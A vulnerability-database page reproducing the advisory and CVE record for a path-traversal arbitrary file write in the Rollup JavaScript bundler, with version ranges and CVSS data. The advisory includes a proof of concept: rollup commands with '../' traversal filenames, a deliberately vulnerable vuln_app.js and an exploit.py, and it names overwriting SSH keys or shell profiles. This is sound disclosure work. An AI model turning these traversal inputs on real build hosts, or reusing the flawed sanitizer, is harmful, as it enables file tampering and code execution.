Vulnerability-Lookup

GHSA-MW96-CPMX-2VGC

Vulnerability from github – Published: 2026-02-25 22:37 – Updated: 2026-02-25 22:37

Summary

Rollup 4 has Arbitrary File Write via Path Traversal

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \). typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g; This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename. typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit 1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: bash rollup --input "a/../../pwned.js=main.js" --dir dist 3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided : * vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug. * exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")

    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

Impact

This is a High level of severity vulnerability. * Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges. * Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. * User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity ?

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.80.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "rollup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.59.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T22:37:26Z",
    "nvd_published_at": "2026-02-25T03:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.\n\n### Details\nThe vulnerability is caused by the combination of two flawed components in the Rollup core:\n\n1.  **Improper Sanitization**: In `src/utils/sanitizeFileName.ts`, the `INVALID_CHAR_REGEX` used to clean user-provided names for chunks and assets excludes the period (`.`) and forward/backward slashes (`/`, `\\`). \n    ```typescript\n    // src/utils/sanitizeFileName.ts (Line 3)\n    const INVALID_CHAR_REGEX = /[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g;\n    ```\n    This allows path traversal sequences like `../../` to pass through the sanitizer unmodified.\n\n2.  **Unsafe Path Resolution**: In `src/rollup/rollup.ts`, the `writeOutputFile` function uses `path.resolve` to combine the output directory with the \"sanitized\" filename.\n    ```typescript\n    // src/rollup/rollup.ts (Line 317)\n    const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);\n    ```\n    Because `path.resolve` follows the `../` sequences in `outputFile.fileName`, the resulting path points outside of the intended output directory. The subsequent call to `fs.writeFile` completes the arbitrary write.\n\n### PoC\nA demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.\n\n**Scenario: CLI Named Input Exploit**\n1.  Target a sensitive file location (for demonstration, we will use a file in the project root called `pwned.js`).\n2.  Execute Rollup with a specifically crafted named input where the key contains traversal characters:\n    ```bash\n    rollup --input \"a/../../pwned.js=main.js\" --dir dist\n    ```\n3.  **Result**: Rollup will resolve the output path for the entry chunk as `dist + a/../../pwned.js`, which resolves to the project root. The file `pwned.js` is created/overwritten outside the `dist` folder.\n\n**Reproduction Files provided :**\n*   `vuln_app.js`: Isolated logic exactly replicating the sanitization and resolution bug.\n*   `exploit.py`: Automated script to run the PoC and verify the file escape.\n\nvuln_app.js\n```js\nconst path = require(\u0027path\u0027);\nconst fs = require(\u0027fs\u0027);\n\n/**\n * REPLICATED ROLLUP VULNERABILITY\n * \n * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)\n * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)\n */\n\nfunction sanitize(name) {\n    // The vulnerability: Rollup\u0027s regex fails to strip dots and slashes, \n    // allowing path traversal sequences like \u0027../\u0027\n    return name.replace(/[\\u0000-\\u001F\"#$%\u0026*+,:;\u003c=\u003e?[\\]^`{|}\\u007F]/g, \u0027_\u0027);\n}\n\nasync function build(userSuppliedName) {\n    const outputDir = path.join(__dirname, \u0027dist\u0027);\n    const fileName = sanitize(userSuppliedName);\n\n    // Vulnerability: path.resolve() follows traversal sequences in the filename\n    const outputPath = path.resolve(outputDir, fileName);\n\n    console.log(`[*] Target write path: ${outputPath}`);\n\n    if (!fs.existsSync(path.dirname(outputPath))) {\n        fs.mkdirSync(path.dirname(outputPath), { recursive: true });\n    }\n\n    fs.writeFileSync(outputPath, \u0027console.log(\"System Compromised!\");\u0027);\n    console.log(`[+] File written successfully.`);\n}\n\nbuild(process.argv[2] || \u0027bundle.js\u0027);\n\n```\n\nexploit.py\n```py\nimport subprocess\nfrom pathlib import Path\n\ndef run_poc():\n    # Target a file outside the \u0027dist\u0027 folder\n    poc_dir = Path(__file__).parent\n    malicious_filename = \"../pwned_by_rollup.js\"\n    target_path = poc_dir / \"pwned_by_rollup.js\"\n\n    print(f\"=== Rollup Path Traversal PoC ===\")\n    print(f\"[*] Malicious Filename: {malicious_filename}\")\n    \n    # Trigger the vulnerable app\n    subprocess.run([\"node\", \"poc/vuln_app.js\", malicious_filename])\n\n    if target_path.exists():\n        print(f\"[SUCCESS] File escaped \u0027dist\u0027 folder!\")\n        print(f\"[SUCCESS] Created: {target_path}\")\n        # target_path.unlink() # Cleanup\n    else:\n        print(\"[FAILED] Exploit did not work.\")\n\nif __name__ == \"__main__\":\n    run_poc()\n```\n\n## POC \n```rollup --input \"bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js\" --dir dist```\n\n\u003cimg width=\"1918\" height=\"1111\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4\" /\u003e\n\n\n\n### Impact\nThis is a **High** level of severity vulnerability.\n*   **Arbitrary File Write**: Attackers can overwrite sensitive files like `~/.ssh/authorized_keys`, `.bashrc`, or system binaries if the build process has sufficient privileges.\n*   **Supply Chain Risk**: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer\u0027s machine during the build phase.\n*   **User Impact**: Developers running builds on untrusted repositories are at risk of system compromise.",
  "id": "GHSA-mw96-cpmx-2vgc",
  "modified": "2026-02-25T22:37:26Z",
  "published": "2026-02-25T22:37:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/security/advisories/GHSA-mw96-cpmx-2vgc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/c60770d7aaf750e512c1b2774989ea4596e660b2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/c8cf1f9c48c516285758c1e11f08a54f304fd44e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/commit/d6dee5e99bb82aac0bee1df4ab9efbde455452c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rollup/rollup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/releases/tag/v2.80.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/releases/tag/v3.30.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rollup/rollup/releases/tag/v4.59.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rollup 4 has Arbitrary File Write via Path Traversal"
}

CVE-2026-27606 (GCVE-0-2026-27606)

Vulnerability from cvelistv5 – Published: 2026-02-25 02:08 – Updated: 2026-02-25 20:10

Title

Rollup 4 has Arbitrary File Write via Path Traversal

Summary

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

Severity ?

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/rollup/rollup/security/advisor…	x_refsource_CONFIRM
	https://github.com/rollup/rollup/commit/c60770d7a…	x_refsource_MISC
	https://github.com/rollup/rollup/commit/c8cf1f9c4…	x_refsource_MISC
	https://github.com/rollup/rollup/commit/d6dee5e99…	x_refsource_MISC
	https://github.com/rollup/rollup/releases/tag/v2.80.0	x_refsource_MISC
	https://github.com/rollup/rollup/releases/tag/v3.30.0	x_refsource_MISC
	https://github.com/rollup/rollup/releases/tag/v4.59.0	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	rollup	rollup	Affected: < 2.80.0 Affected: >= 3.0.0, < 3.30.0 Affected: >= 4.0.0, < 4.59.0

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JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-27606",
                "options": [
                  {
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                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-25T20:09:59.552224Z",
                "version": "2.0.3"
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          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
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          "vendor": "rollup",
          "versions": [
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              "version": "\u003c 2.80.0"
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              "status": "affected",
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            }
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      "descriptions": [
        {
          "lang": "en",
          "value": "Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
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            "vulnIntegrityImpact": "HIGH"
          }
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      "problemTypes": [
        {
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              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
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      "providerMetadata": {
        "dateUpdated": "2026-02-25T02:08:06.682Z",
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        },
        {
          "name": "https://github.com/rollup/rollup/releases/tag/v3.30.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/releases/tag/v3.30.0"
        },
        {
          "name": "https://github.com/rollup/rollup/releases/tag/v4.59.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/rollup/rollup/releases/tag/v4.59.0"
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      ],
      "source": {
        "advisory": "GHSA-mw96-cpmx-2vgc",
        "discovery": "UNKNOWN"
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      "title": "Rollup 4 has Arbitrary File Write via Path Traversal"
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  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-27606",
    "datePublished": "2026-02-25T02:08:06.682Z",
    "dateReserved": "2026-02-20T19:43:14.602Z",
    "dateUpdated": "2026-02-25T20:10:29.816Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-MW96-CPMX-2VGC

Summary

Details

PoC

POC

Impact

CVE-2026-27606 (GCVE-0-2026-27606)

Tags

Sightings

Nomenclature